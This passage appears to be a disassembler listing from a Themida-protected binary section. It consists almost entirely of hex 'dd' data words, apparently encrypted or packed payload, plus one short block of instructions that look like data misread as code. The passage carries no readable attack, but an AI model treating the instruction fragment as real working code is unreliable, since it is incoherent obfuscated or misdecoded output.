		dd 0A87C22h, 0B6E26BC9h, 7084B8F2h, 0DCB4082Ah,	603FC0A1h
		dd 567E82B8h, 3983D909h, 1F1490CAh, 677FA5h, 0BC249111h
		dd 57E65C2Ch, 439EB415h, 0C53B1ED4h, 0D449E1D2h, 6B041187h
		dd 0C4F66894h, 0C057FF86h, 0EAC53F0Ch, 0B14A3073h, 67BB8964h
		dd 8ECDFC02h, 0CE438448h, 5090FF49h, 70046540h,	0DD9CCDECh
		dd 3CACA493h, 0EC00D30h, 241022FBh, 180B601Dh, 81740EB6h
		dd 0BF99CE6Eh, 65362897h, 0E864C048h, 7918383Dh, 0F918FF20h
		dd 0D0A14865h, 0A80D168Bh, 2080B120h, 0A301247h, 0DD300206h
		dd 0F658367h, 0E9A1C468h, 1F0BCB03h, 0D03B7787h, 24909FFh
		dd 2B806104h, 10407EADh, 2C004D78h, 0F88505BCh,	1879C4E5h
		dd 80DC65EBh, 0EF4C303Bh, 248052D0h, 6B12E05Eh,	8883A809h
		dd 3500D422h, 609DF444h, 2018B03Dh, 6D581F31h, 18252E50h
		dd 592B7806h, 0C1FC8B58h, 8481AF9h, 1B21C0D2h, 55944CD4h
		dd 3CB85FE0h, 80E5E0ABh, 0A5D1CD24h, 5568ED62h,	0E1400162h
		dd 0E0945093h, 0ACA8E753h, 791AA3E5h, 1210FCE6h, 2EE400C8h
		dd 0B26E6419h, 74054D3Dh, 5021D611h, 0B10353C8h, 0CDA5575Bh
		dd 60C08C77h, 0C7EA39h,	0AF89EB68h, 0EDE6ABE5h,	9A5A4C2Ch
		dd 0DB36F000h, 0C5F68783h, 21A26580h, 236010E0h, 0CD80774Ch
		dd 586360B5h, 0B21A7B91h, 8F04CF7Dh, 665D5C04h,	83139C80h
		dd 39EE68EBh, 18099CA8h, 7D44C81Bh, 4CD8AB4Dh, 4F606093h
		dd 0E07B03F5h, 52DC073Eh, 0A0ECA81Ah, 7956D502h, 28F02234h
		dd 95BF8D8h, 31CE8685h,	565CD4A0h, 0D201650Eh, 0C5D49AAEh
		dd 0F8200B63h, 64BF00CFh, 19EAA9EEh, 5B00ED7Fh,	0F2530D1Ch
		dd 7EBB66Dh, 0CE2FA71Bh, 7A5D3017h, 350F37A6h, 0ADE9B0Ch
		dd 83040852h, 2081B51Ah, 0CAFDC538h, 7448C8BDh,	3500DC4Dh
		dd 0A1EF7165h, 9475B441h, 25755C00h, 1BD412E5h,	0ACAD07DAh
		dd 96C550CFh, 11294098h, 0CD1CB45Fh, 42D07E18h,	1896901Bh
		dd 0C8027F44h, 0B50BA78h, 681847FCh, 1730B05Bh,	92ECBAD4h
		dd 0D2C41788h, 0C56830E3h, 10C17F0Ah, 0B9DAD545h, 0F3A4DFCh
		dd 14F5835Ch, 36A6EB0Eh, 4A2C80E9h, 800270AFh, 686C74C5h
		dd 0C08CE34h, 2927934h,	0D45DBB80h, 24CD0B58h, 80942889h
		dd 0EF837026h, 0D411C16Dh, 0D802A132h, 0A06502F1h, 0F54C3444h
		dd 0F6B61710h, 7938E44Ch, 20615411h, 340781A3h,	715898B4h
		dd 0C5A706A0h, 308547h,	0BE08FE9Dh, 335083A6h, 99891CB1h
		dd 0C5401019h, 831A899Fh, 70792CD8h, 536828EDh,	0AAE53B38h
		dd 628A244Dh, 6B40048Ch, 0BCA0D294h, 2AC26404h,	41D86267h
		dd 3C2C5DF0h, 4B0801CEh, 3A4504Ch, 0C51DBAC0h, 1812C371h
		dd 0B8C821ECh, 0C0B455AFh, 7C1920D2h, 0AA4A71CEh, 4F3ED041h
		dd 5434C955h, 5C5E5010h, 72650436h, 1EE17883h, 8A17E840h
		dd 0C9A441CEh, 0F0189940h, 5038D5Fh, 0AB4CF3D8h, 0ECD140E2h
		dd 0A8353EA2h, 84B43C26h, 0B59533CDh, 18DC7254h, 3A68FCF1h
		dd 0F4765865h, 2B1E9842h, 51EC8048h, 33E9CF91h,	120D5000h
		dd 28089F7Ch, 83D00924h, 0FC4035CCh, 618AFE25h,	11F03848h
		dd 1DD9DC5Bh, 30045C81h, 240C3302h, 8B63FCFAh, 19FD2810h
		dd 101A6B2Ah, 2B0EFFBBh, 3F33FB01h, 347731CCh, 0FFF438EEh
		dd 7D54688Ch, 4EC08924h, 8C3C62B9h, 54B1FA7Bh, 18530D7Ah
		dd 3E1C8B59h, 1AC74EB6h, 7DD34FFh, 81F814F9h, 5750A0C4h
		dd 86F130E9h, 33BA520Dh, 24B3E00h, 0AF6CA81h, 7D357682h
		dd 0A52D03EAh, 5E2C140h, 17661200h, 0D789B27Bh,	5FE9195Ah
		dd 0F9804844h, 41F74356h, 9C871030h, 0E83C895Ch, 13EA0BFh
		dd 565F0CF9h, 291302BEh, 1810F148h, 89FAD432h, 0C68128E6h
		dd 0EE833B19h, 5134871Bh
		dd 0C688CE02h, 9B2E7068h, 53F1D084h, 0AE2853BBh, 48C3E90Ch
		dd 0E7EC580Eh, 0CF316B60h, 0F5F82159h, 0C18010F1h, 0EBC02FF3h
		dd 0B43C5007h, 0F4E4812Dh, 28E9DCF6h, 59A608DEh, 350CAC83h
		dd 0DAE90C03h
; ---------------------------------------------------------------------------

loc_4E618C:				; CODE XREF: Themida_:004E61A5j
		repne add al, ah
		push	ebp
		mov	ebp, esp
		add	ebp, 3DC6148Fh
		cmp	cl, [edx]
		add	[ecx-47h], dl
		loop	near ptr loc_4E619F+2

loc_4E619F:				; CODE XREF: Themida_:004E619Dj
		db	2Eh
		push	9400EB81h
		jl	short loc_4E618C
		cmp	eax, [ecx]
		retf
; ---------------------------------------------------------------------------
		dw 0AEE9h
		dd 32260868h, 93D63143h, 84FBF9F2h, 0D4EC779Fh,	2973FB89h
		dd 83B157E3h, 6D07E952h, 0D0300C1Ch, 0D8F6C287h, 23583CB3h
		dd 879B04C7h, 99BFE74Ah, 23535457h, 57303D8Fh, 0C2E78B28h
		dd 0F18EE9F5h, 5E0D9A2h, 0FE3B75A3h, 0BEDA1940h, 28395B3Ah
		dd 0DF1FEB6Ch, 4600FB05h, 0E906E6C1h, 0D583687Ah, 0FF550397h
		dd 5DAB2474h, 1204794Ch, 14202C6h, 0A05FEBE9h, 2831F691h
		dd 0EFCCCEB3h, 55E7C33Dh, 0C7F2F729h, 0C2E088Ah, 66344D74h
		dd 12168B48h, 8F4A5450h, 0E986A658h, 1C245AD6h,	0C381D7F7h
		dd 43B54A86h, 0A87290E9h, 5F20701Ah, 6F0D004Ch,	0C1448B12h
		dd 50004E0h, 57EB9EE6h,	558C629h, 0FEE9F789h, 0D08555D8h
		dd 0A18D910h, 0A11BB353h, 8114F710h, 898CA0ECh,	0FBF8B8F6h
		dd 47211CC0h, 603FE91Ch, 0C15A2052h, 550008E7h,	0EF046BBDh
		dd 67ED812Bh, 91290D6Ch, 502AE95Dh, 7965B9F7h, 0F759B50Fh
		dd 0EFBB86D9h, 0C0DDEE58h, 3D919038h, 5DFC296Ch, 1CE80173h
		dd 47FD3C54h, 0B930407Ch, 5DEE9D55h, 2BF07A21h,	9AA05E4h
		dd 9835452h, 19007A8Ch,	8EFC059h, 48DBF780h, 1906AC52h
		dd 228F92E9h, 66776812h, 452A1A45h, 37558054h, 2E2AA26Ch
		dd 0E7895701h, 0F1205650h, 0B71030Dh, 0EE95115h, 0D023D1ACh
		dd 496D2192h, 0F0732050h, 1AAD3E40h, 0C5177D68h, 4550628Dh
		dd 585B3113h, 0D83001F8h, 5129A832h, 0F7121Ah, 0EFC15FFFh
		dd 8A25706h, 1BDF3F80h,	56001D74h, 5B8AB850h, 6D1075Ch
		dd 0B1E948E0h, 0BAAC5CD6h, 92E8213Eh, 0CA5543A2h, 0E74D7A6Fh
		dd 0D4247E21h, 0C7817520h, 6CA61F92h, 9A6739ECh, 0C8F84870h
		dd 4C7BE557h, 0AA1076C3h, 0F74A0F33h, 226109D2h, 925F5407h
		dd 5706117Ch, 5F22BE22h, 90D938CCh, 81E20ED1h, 0C09EFCC2h
		dd 74EB2DDEh, 1141577h,	7E0705D0h, 8B502C30h, 90565DE8h
		dd 64910954h, 898016D6h, 7AE40239h, 7CE80CC1h, 0EDC922C1h
		dd 9A63E9ECh, 14332639h, 0BA0C6C48h, 9334D5A6h,	0E313B11Fh
		dd 507F2611h, 7E60EFBBh, 280EB20Eh, 5A6605D3h, 18C8C380h
		dd 565B3DC5h, 114077A2h, 0E8DDE112h, 0B3F38180h, 209D542h
		dd 685BD801h, 4497784h,	0E947202Ch, 127B4C32h, 180B6059h
		dd 4CF492DAh, 80B4AFC6h, 0B1B276F9h, 0EE01097Ch, 2B883F44h
		dd 8A31CE01h, 4E590800h, 54A626E9h, 35BB8012h, 21091F6Fh
		dd 524ADD48h, 526B6Eh, 3105D580h, 6043B8CDh, 0E1C1368Ch
		dd 81E24108h, 300302ECh, 0C8895187h, 58F59F59h,	426D3487h
		dd 1DD9A90Dh, 22923B62h, 0C84268BFh, 4CBE839Bh,	86410C9h
		dd 0D61DDCD0h, 0E3D02820h, 20347AB5h, 5C4D7426h, 228C4569h
		dd 8B08D275h, 0CA290909h, 2E753201h, 0E9888E4h,	0BF22008h
		dd 348558B6h, 0BBB5880h, 0E91374B3h, 1567E70Ch,	5212DD93h
		dd 913E234h, 7054264Ah,	32CC681Ah, 2756A81h, 2E6334F1h
		dd 6B1F79B0h, 5F43F13Ch, 7E5C0DE9h, 3DACB955h, 470F4197h
		dd 82C3C61Eh, 0BFE64220h, 98D35958h, 0B3585476h, 0E0080892h
		dd 0C6F5010Ah, 74388002h, 0D2620Ch, 0E94903E2h,	1501990Bh
		dd 0FC121EC2h, 0DA774727h, 0D283835Bh, 0EB804C02h, 0C15066EDh
		dd 0D1927B79h, 0F8C114E2h, 77E6C2C0h, 13C6B0Bh,	8A172EAh
		dd 753A8C5Dh, 0FFC65F47h, 395286C8h, 18747E58h,	870A3168h
		dd 0BF80392Ch, 4870F47Ah, 85055938h, 0C027801Dh, 0F45B726Dh
		dd 8343223Bh, 9D0ACFC3h, 81A2C7Dh, 1600202h, 0B7C05BDFh
		dd 6B0657DCh, 5802E930h, 5BC355ABh, 0F4041B59h,	3190AE25h
		dd 202439Dh, 453FB97Bh,	2B50BD0Ah, 8D5FAC1h, 0C1C63132h
		dd 0E2848170h, 97733A09h, 31EC9485h, 86331570h,	0C9845CC9h
		dd 0F2E4D0F0h, 0A7093222h, 6D73111h, 0DE1AE855h, 49101399h
		dd 3325109h, 0F965CEC0h, 0FD2415A4h, 91CA1B46h,	1EB0CA5Ah
		dd 66C9A886h, 6134800Dh, 533E0C1Eh, 0ADDDBE8Dh,	26379FD8h
		dd 1C0A0BCEh, 0D98E8996h, 0DC593F84h, 814A4A83h, 72820827h
		dd 12C0442Ah, 48A55D3h,	131ECE87h, 0D1F7501h, 0A4ED0582h
		dd 75B9A124h, 138F0158h, 4FAFF181h, 2C2E70A0h, 86202160h
		dd 26C180D1h, 8C930E2h,	7E2403FAh, 9011B08h, 6704EB28h
		dd 0C335C249h, 5CB9F5C0h, 2E77FF80h, 39309D1Ch,	9CAAD332h
		dd 94CAFC41h, 18B357F0h, 0AD8F6BF5h, 0FC7F0FBBh, 3586CA31h
		dd 875826DCh, 0C15C022Bh, 434605E6h, 5B0F9075h,	9A23B0D2h
		dd 0A05248C8h, 2E08D050h, 28BEB407h, 606CADEh, 6ACC0DADh
		dd 21CAC9B4h, 1DD444F9h, 0F6CF2A2Eh, 5142825Dh,	0CC900D6Eh
		dd 0E961D694h, 0A02C7A05h, 0D6C00C93h, 0BB821CB1h, 2602B28Bh
		dd 316D2033h, 0FB040D06h, 6E83F2A0h, 435896C0h,	287514C6h
		dd 0DE011116h, 48084910h, 7A718F9Ah, 0FBE6AA1h,	55D30A33h
		dd 1B49B109h, 31C5C75Ch, 4CAFEBD1h, 0BB18B033h,	0D9213F40h
		dd 8D34028Ah, 0B768594Bh, 7F4EB66Eh, 6E3B780h, 0CE5016F2h
		dd 0DA07B283h, 8003EAC0h, 3987E835h, 0C447C2F2h, 199F1C99h
		dd 0DE310129h, 20F2015Bh, 5840236Ch, 0F8C27588h, 3D7E6204h
		dd 660044D3h, 0E95DEB29h, 4FEE5030h, 0E90FF063h, 7464BF26h
		dd 20063881h, 26D1686Bh, 10501763h, 401E19EEh, 0AB61D46Ch
		dd 5A2DB1Ch, 0FD0CC484h, 2D54B2E9h, 95A1ED7h, 0CFC18CF8h
		dd 0CD9153ECh, 746133Dh, 1775AB8Dh, 605F8F5h, 4D8990CBh
		dd 8856E532h, 492E59F3h, 6DA3C760h, 28147831h, 5E00F12Ch
		dd 0F4B8C209h, 23573124h, 150D0636h, 0CA663AE9h, 1EA40126h
		dd 299AB183h, 7D8D6376h, 6FC91A26h, 3668716Ch, 26813D41h
		dd 7266E7A0h, 280C1083h, 2C311B2Fh, 28064078h, 0BEFBCA67h
		dd 28EAA062h, 188E5401h, 75A3E95Ah, 0CC4C085Bh,	0B3530E0Ch
		dd 0B551A2B8h, 27636Ch,	3DB05016h, 0F404C8FEh, 404BE913h
		dd 0DE57E289h, 28D1B0B3h, 81B7584Eh, 918DD345h,	82E1C8AAh
		dd 0C0B60F34h, 710C7866h, 21224A68h, 74EDE914h,	6C622982h
		dd 855A5DAEh, 33937ABAh, 7DEF425Ch, 601F257Fh, 6F00F133h
		dd 3E31EF81h, 7829157Fh, 845E5C7h, 58896E84h, 49491766h
		dd 52D40896h, 1E936616h, 85B5E9B3h, 30E9DDC0h, 0BDDEDEC7h
		dd 9D2E0B16h, 0C200B741h, 21595674h, 0D15A13D5h, 0CD1E80EDh
		dd 621D15DBh, 0C5C04D54h, 969C0D6Ch, 0E3F92EE9h, 407CA6CBh
		dd 0C2FEBAB2h, 5C738072h, 882DF212h, 41D3C11Fh,	300266h
		dd 0E3323AB8h, 2C702D5Fh, 28EA09F8h, 8082743Ah,	5C919A35h
		dd 0AC7894Dh, 99E95758h, 700949A9h, 5348B19h, 48989744h
		dd 0BB399CC9h, 38E3297Bh, 856880DAh, 5D0BD732h,	8BEB011Eh
		dd 56402AE7h, 457E2F0Dh, 256BD5F8h, 0C3940798h,	1265FF5Ch
		dd 0BC7C794h, 0DAA020FDh, 42F49811h, 5A0642C1h,	6311F0Dh
		dd 0F24146DAh, 4CA590D2h, 0FBD1AE79h, 0AA64E91Dh, 0D0ED48A2h
		dd 3C84E027h, 0AB69253h, 34C86801h, 0C5BD7650h,	2E22257Eh
		dd 0E164D688h, 844FA5E9h, 9F2CAC0Ah, 9D68F82h, 8BB21B81h
		dd 322DE838h, 0A6F783Bh, 705F001h, 2834A93Fh, 0E3895380h
		dd 9E1395E9h, 4B68611Eh, 10697626h, 0B9017241h,	0AAA4D4E2h
		dd 386A8181h, 0F1012AD1h, 8189A44h, 0CA12E96Bh,	0A8B68337h
		dd 814740F2h, 5D0DE207h, 0D7B3090Fh, 0E7170280h, 53E0037Fh
		dd 0BF01FC7Ah, 0E9C9DBB0h, 53492630h, 8950EB3Ch, 0D634185Dh
		dd 7AC2563Ah, 6930502Eh, 8E4A0709h, 0FCD0728Fh,	533B6Bh
		dd 59CF01CEh, 815FFA89h
		dd 23E1EA78h, 2AE90D7Bh, 46921029h, 64E10003h, 10D7199h
		dd 1273D34Ch, 75D6FD67h, 545634DEh, 556089F9h, 951C92A0h
		dd 312C84D8h, 1918CEFAh, 9802EF5Fh, 3F117C24h, 4C27A168h
		dd 4F467D09h, 9ACDA320h, 0E25A56D7h, 4863BE6Fh,	0A8017306h
		dd 105B78CEh, 1CA0FA01h, 50510008h, 0AB2A1BB8h,	5736E917h
		dd 6CBE9356h, 930D0633h, 0ACD3F739h, 86F7950h, 0C3551332h
		dd 0D5A25DB3h, 0F4123A61h, 10D36380h, 876562D0h, 5294C1Ah
		dd 9D59D117h, 63BAEC82h, 37C3039Ch, 0B5EF107Fh,	0F75E38E5h
		dd 7E4EF62Eh, 9A7E46Fh,	6A4888E3h, 73454C9Fh, 0D777091Ah
		dd 72A1E49h, 0E5D0CDFEh, 28C3C570h, 45918E8h, 0E6E90A30h
		dd 81C54859h, 2DE20247h, 0D4C665F4h, 0A43E3086h, 0A8098314h
		dd 32211278h, 5C360528h, 681A827Eh, 0E9139AC4h,	0DE9C7FB6h
		dd 0AE83FC1h, 0A9C5212Eh, 0B1666BC5h, 500254A1h, 380AE40Ch
		dd 500A224Fh, 590608EEh, 3C7963E9h, 0F716CA29h,	426806D2h
		dd 9792BCE6h, 0D36986F0h, 40C03310h, 40FA00Dh, 2EE9C8BEh
		dd 0E790D0EBh, 434F6068h, 7F550B33h, 9AFB4855h,	7668F300h
		dd 0DE012B83h, 801BE92Dh, 5709599Eh, 535A041Ch,	0CD6AB168h
		dd 0EABBE471h, 4C576F05h, 16B0E5E9h, 4F293F5Ch,	0E7685984h
		dd 56A8CC52h, 5160ADBCh, 9D46855h, 5D48E752h, 917C7F84h
		dd 2804C7DBh, 15C16F0h,	685EEF20h, 2E999A4Dh, 0A59A73E9h
		dd 0B707FEB2h, 0B04034DAh, 0FCE40227h, 0E3875E64h, 625BF1A7h
		dd 0CDD25CD2h, 1C09064Eh, 0DF63804Fh, 5C444A4Bh, 12050B47h
		dd 0C0FCF924h, 29595F21h, 7EE9D816h, 46B80440h,	244C0C34h
		dd 138D0F7h, 9CF747Fh, 55AE029h, 2D014F99h, 0AA245717h
		dd 10314A81h, 6CFAE958h, 0FCBD052Eh, 0AE05D13Bh, 59000CE2h
		dd 4AEB19B0h, 9ADBF855h, 7C2903F5h, 5B5F0824h, 2CC407D9h
		dd 70342C6Bh, 6A03764Ah, 11A0C17h, 0DB1B530Ch, 0FBC2010Ah
		dd 0E9080595h, 9748A127h, 35423960h, 4006EEC1h,	3F7CB25Fh
		dd 0BC152703h, 0D939AB51h, 7C59CE18h, 0DFC63A8Bh, 49D066E2h
		dd 655B0C13h, 148DA337h, 0C3F8EF83h, 501CF5E9h,	0E3FD0A18h
		dd 0D1800928h, 14BD55E6h, 71CAA00h, 2D5DEE31h, 0AB5E3E16h
		dd 74191D9h, 805FF660h,	0E6788956h, 0BA4EDF2Dh,	0C1E48981h
		dd 34BE5A2Fh, 0F651F564h, 1F9E105Eh, 184FDA50h,	0C03AE64h
		dd 0A909180Eh, 45C60175h, 88B62011h, 80467322h,	887DD5F6h
		dd 0C7699BF2h, 0F4AAACE1h, 722DE7BCh, 0F846850h, 41612047h
		dd 0D2D758C4h, 16540C06h, 5920B342h, 52F71E14h,	7AF5A756h
		dd 95622B30h, 3D061DE5h, 0D0931E47h, 0D3FD9C7Bh, 0FC04144Eh
		dd 2D0BC2E1h, 0F0177B83h, 0A7F538D1h, 17C9014h,	535D26EAh
		dd 0D031162Ch, 0BF570695h, 0EF3E2AF2h, 5FF902FCh, 56646FE9h
		dd 0FAD263E4h, 55D4E00h, 527B5515h, 2DD02801h, 0C339907h
		dd 0F16F285Dh, 62084AB9h, 0B1510342h, 28EA8017h, 8225CA5Bh
		dd 7130E586h, 42026A15h, 0E859C26Dh, 77631C4Dh,	0ACDCF73Fh
		dd 255A492h, 1C5B1CB4h,	0E6706874h, 885360BAh, 0E92752D3h
		dd 988B0897h, 2A722908h, 6908A21Dh, 45325BE4h, 9AEDE618h
		dd 8314DAF7h, 1AB01C2h,	2E6D35A5h, 0D26CA0E9h, 4648680Ah
		dd 0BB668340h, 0C1A04123h, 68F004EBh, 5272733Eh, 41283F8Ah
		dd 0A8C1EED4h, 0FF581C2h, 45CD6EC5h, 0F260C784h, 99257880h
		dd 0C2EA9335h, 266554A1h, 80C01CC9h, 80DDF603h,	302476F5h
		dd 3710C1EFh, 17C58100h, 89467B4Ch, 0E480E6A2h,	50455294h
		dd 3F60BFF0h, 2EA46828h, 24279872h, 0CC9E3D1h, 0C3777636h
		dd 0A7CD024Ah, 49A37730h, 0CE135604h, 2978DD1Bh, 0AE16E2D9h
		dd 79C80FE9h, 162AA988h, 0C0FB74C6h, 575D5477h,	4325684Bh
		dd 505F4104h, 0F2C6D488h, 0E90B1C1Fh, 0EF37E494h, 0C83B6B44h
		dd 3812A220h, 70F0D80h,	9E6197AAh, 0C5EC5450h, 94892D0h
		dd 0E54D9DC7h, 2839AF82h, 0C0095E00h, 5852D0Fh,	0BCBAB900h
		dd 5F0B8447h, 9A4C6268h, 0F79823B2h, 200B58D3h,	8B9DA20h
		dd 24634208h, 800D08BFh, 21FB801h, 7870094Ch, 0E5253F08h
		dd 400F7000h, 4E076F2Dh, 0C289B012h, 7B2EF3B2h,	15669D4Dh
		dd 4310CB0Ch, 0CD800E0Fh, 4BED6772h, 0CA905CB5h, 3D41DC2Dh
		dd 0A3267F3Fh, 31AD8050h, 72668D8h, 7C6F75B4h, 81526D00h
		dd 240583E3h, 26E421Dh,	4ACAE906h, 75CF152h, 81007E9Dh
		dd 513184F2h, 79D6897Ah, 1D69985Ah, 521CAC76h, 0C841C523h
		dd 0C04D6A3Ah, 94044AAFh, 0BB0029CFh, 46999D1Bh, 1ADF312Dh
		dd 51575CB3h, 962C3D31h, 3F3E0101h, 45205B6Eh, 88DA160Ah
		dd 2E9608D4h, 34665D12h, 467430h, 0E281401Ch, 4F2707E8h
		dd 0FBC43CC7h, 0D589BF11h, 5D0ECF82h, 2D5C6902h, 12388E08h
		dd 58F407B9h, 0D52FB514h, 0DB11F207h, 60E59A70h, 0BE5DFC45h
		dd 4B06E887h, 7151BC49h, 299D1048h, 0EB0381FBh,	4A60221Ah
		dd 0E9F3C85Fh, 283BBC4Ch, 600AEEE1h, 56E2710Ch,	673D05BEh
		dd 2C4EAE46h, 0D0ADE989h, 304876CCh, 0CF7D3F6Eh, 0F3256CC2h
		dd 4FCAC16Ah, 2CF7C070h, 0B62F150h, 2904FE01h, 3BBAB8A6h
		dd 69BF4859h, 54D5410Ch, 0A21042Bh, 0DC5512D3h,	0AA8A64D9h
		dd 0F7716DC0h, 3426CBD6h, 0CDC39B48h, 60E549D0h, 7C5F1B2Ch
		dd 1ABF3007h, 5EF7310Bh, 0E9F9210Bh, 5CA26110h,	0C42C9632h
		dd 0C3298629h, 4DF40658h, 0BE14DB60h, 4883100Ah, 4F340317h
		dd 0B3D385F1h, 0D1347E38h, 6FE61C78h, 20C4CD4Ah, 5700C53Ch
		dd 81410387h, 3B4A71E1h, 0C9034B6Fh, 3EEF0BA1h,	0B423C1E0h
		dd 1C0100Ah, 300995C8h,	0F4CC2377h, 6EEB98BAh, 318E9528h
		dd 37E965B8h, 54B2F664h, 789ABCA8h, 5FA6DF40h, 0C6A0F879h
		dd 0DD1D2AC6h, 298C13Ch, 0B246012h, 95E925A7h, 0A3002162h
		dd 1BA6512Ah, 0E967FF6h, 69096804h, 952D4FF3h, 0C8021289h
		dd 0BA00374Dh, 7AF45A54h, 69A3065h, 0D0F75814h,	2E220D07h
		dd 0CB574A2Ah, 35007F67h, 0BA0605h, 0D868563Ch,	5E4A1153h
		dd 6966E92Ch, 0E2CE8180h, 0EC1D6D67h, 2C2209F6h, 0CF806AB5h
		dd 574A5BC3h, 0EDF22928h, 218C084Ah, 56249653h,	2257E92Fh
		dd 2B41C0D9h, 85C5808Fh, 1A8920F4h, 7E7F6B02h, 0F75EF507h
		dd 0EE24E9DDh, 0F84611F2h, 0FF69EF48h, 132D8C84h, 2B68307h
		dd 0ED4DFAEDh, 6B992430h, 0D10F1357h, 10148A06h, 3DA2BF04h
		dd 0A9832D97h, 10D05A6h, 94D7E9F8h, 806DA933h, 8D2A86C1h
		dd 0C30CC131h, 316D5226h, 1A95FB3Ch, 14090C08h,	4C16C02h
		dd 5380F5D9h, 0F2AE2BBh, 0A529029h, 0DC16BFCBh,	0CF843A8Ch
		dd 0F8034F88h, 0FC962C2Fh, 0DC276AEh, 305A011Dh, 30E925D0h
		dd 274ACDA4h, 0B90567CEh, 42D02AAh, 551980h, 4D49D4B8h
		dd 40F87Eh, 0F74E5C26h,	239805D8h, 0E92FF104h, 0B88D2C54h
		dd 8F4B5C28h, 9E937EFh,	324C5209h, 0E8137415h, 8CF61E44h
		dd 6527E69Ch, 0EDAA013h, 3457055Ch, 0E8657C6Ah,	24010F1h
		dd 0E9C82159h, 66B5689Eh, 24440781h, 772CA502h,	16BD9155h
		dd 0A172F632h, 61C17CF7h, 0C53020Eh, 0C8AE9BFAh, 8021CCE9h
		dd 0EFE4D588h, 6BB4B2C4h, 0A23C42FDh, 3411F910h, 0EC56B35Eh
		dd 55585B04h, 4A4EDA82h, 8169005Eh, 6D7F3h, 6851629Ah
		dd 7A701EE5h, 0BC4D1B90h, 6B75529Bh, 6764488Eh,	0B850801Ch
		dd 0C40B3600h, 79EF0D3Dh, 403A09FCh, 5510E0E9h,	2C488B54h
		dd 6B76C413h, 99A2EEB8h
		dd 52C1B0D8h, 4A443A4Ch, 68CAD542h, 2653F3F6h, 12155B5Dh
		dd 0C1CDC470h, 7C61C107h, 4BA4D435h, 680F3185h,	592F80A5h
		dd 325BDA89h, 5F80D001h, 0A0BC74D1h, 3C33254Dh,	0D53F3B90h
		dd 0F9B09A97h, 96654927h, 63A11227h, 10A8A4C4h,	0B5C4A6C6h
		dd 13A8B53Ch, 5BF40B17h, 5C0240A3h, 66B86812h, 78C98FCDh
		dd 0C0D2F600h, 0A05E237h, 67F9ABC3h, 497142A1h,	0B8BEC814h
		dd 0F821D297h, 0A56CBBC8h, 448452C9h, 0FA6A84Eh, 0C2D830ACh
		dd 0FA6C7A68h, 0ECB11695h, 12DD1680h, 0DE58F469h, 0B2B05B76h
		dd 0E6EF8107h, 819FA42Bh, 3055E9FAh, 0BDD8279Eh, 1AEC74CBh
		dd 628373C1h, 0C5CBEDEh, 6A84129Bh, 16390452h, 0E971433Fh
		dd 1B4B31C0h, 5CCAEDC2h, 32FF5032h, 0BC8B1090h,	0FF5549ABh
		dd 13A12662h, 4104EB01h, 0EEC8D103h, 0E8BE8487h, 0CA23E942h
		dd 53FB6ABAh, 0ACE98F38h, 9ECFFD79h, 0E4D25593h, 65A3CC53h
		dd 0E7D7F50h, 1199D71h,	83810D6h, 0B7EDE918h, 1A9F02B8h
		dd 20145270h, 5B03DE67h, 0D028C004h, 0C89A62Ch,	0C340E95Ah
		dd 80B08320h, 0FB7B1B80h, 76485383h, 0DB82662Fh, 0C02BC067h
		dd 0E752CC92h, 0E009389Dh, 36B05002h, 60FEBF0Ch, 80178A71h
		dd 0E1ED72Dh, 208C1A0Bh, 35F1470h, 815AD329h, 2DA12CE3h
		dd 0E50C8907h, 43350519h, 3C3290D0h, 490B9D2Bh,	0C955E56Ch
		dd 2C833082h, 732B5F03h, 705E7C1h, 0BD26A012h, 4BCFF14Fh
		dd 2006F92Dh, 59581485h, 22419E91h, 0EF015D77h,	0C553F5F4h
		dd 80D1F71Ah, 0D3731286h, 0B80C0263h, 58A0B33Eh, 21921589h
		dd 20FB959h, 0F22A4B66h, 5200D6BAh, 2D60EED4h, 5AB852D4h
		dd 77C1013h, 4F8EE912h,	49C968E8h, 0B1D6672Eh, 0EADE89Fh
		dd 0C10C15C4h, 64D69DFDh, 187AD43Ah, 315C1F93h,	0BA52C30Ch
		dd 90012F2Ch, 884554C7h, 30567753h, 0B90E6F79h,	2B2D37D1h
		dd 5A4CC202h, 0D2FE7113h, 3EF306DBh, 0EE0285D2h, 7DA81641h
		dd 0AC07E15Dh, 262202F8h, 0A744F6E9h, 115852A2h, 9035FB72h
		dd 34241AB9h, 8A4FED56h, 26510CC8h, 63BB897Dh, 6EDC1307h
		dd 0FBA96865h, 80565284h, 9079C1Fh, 0CE48337Dh,	69C05A6Fh
		dd 7B537B6h, 5AF528A6h,	0D1A8D453h, 70D3F72Ah, 3312966Ch
		dd 12013CBBh, 0C78F43ADh, 8983092Fh, 0EED16D80h, 0C10CCE81h
		dd 0C62500Ch, 0EF4907A6h, 0E7DEF768h, 75BE7F6h,	0BCC6E038h
		dd 5C51F933h, 308920F6h, 28251F70h, 9D08B810h, 33B0462h
		dd 0C205E9C1h, 57485AC9h, 0D1B0E589h, 0A258DF2Eh, 0B4B9C344h
		dd 3FE38F24h, 20B8E796h, 9178D46Eh, 0DD896707h,	0C539315Bh
		dd 1696267Ch, 0E14BC9FCh, 584C643Ch, 2C28316h, 91C4B8C7h
		dd 0B902BFBCh, 16D70F7Bh, 0EC31D2F2h, 65041AC5h, 373143C9h
		dd 2525D5F5h, 0E99C9F43h, 0C4310523h, 59C53F7Ch, 0C592B950h
		dd 0BF8C324Fh, 0CAB10051h, 0DAF692B2h, 158C280h, 99C74A70h
		dd 261478D6h, 44F1300Eh, 0F130E850h, 958546E9h,	0B85AD701h
		dd 94EF0E88h, 5E516441h, 41F5A2A0h, 7464406Ch, 7D4AD610h
		dd 34C782C0h, 982FF25Bh, 64E34h, 98FB2B6Ah, 1F9E2917h
		dd 68E801C0h, 521359BFh, 206E5480h, 664DE909h, 4025C2h
		dd 0CC435F5Fh, 72350B15h, 0FF8017A8h, 6ABBE9C7h, 348290BEh
		dd 4231811Ah, 890A4A0Dh, 260D8236h, 54304215h, 7C05627Dh
		dd 30797FE1h, 4B75E23Eh, 8E048097h, 606EFC1Dh, 3DBDE653h
		dd 22ED17E8h, 95FC211h,	91D47DEh, 0C8D3F675h, 52E6E22Dh
		dd 8F85CFF1h, 2637B292h, 5C921957h, 1754D754h, 0AE1F7758h
		dd 9444DBCBh, 0EA8327FDh, 0E9251DC4h, 30D960CBh, 9001F254h
		dd 735A489h, 0A660E3C9h, 65D8B23Dh, 80E1FF54h, 3EB0EBh
		dd 0E9DAB19Ch, 13AC23C5h, 0EDB687F6h, 485F3317h, 41A5C66Eh
		dd 3CC0C5ABh, 104C5ED1h, 528B579Eh, 4420CD44h, 0DDF62E53h
		dd 971E2C34h, 0FC1C7466h, 57B044B5h, 944336B7h,	30A5AC4Fh
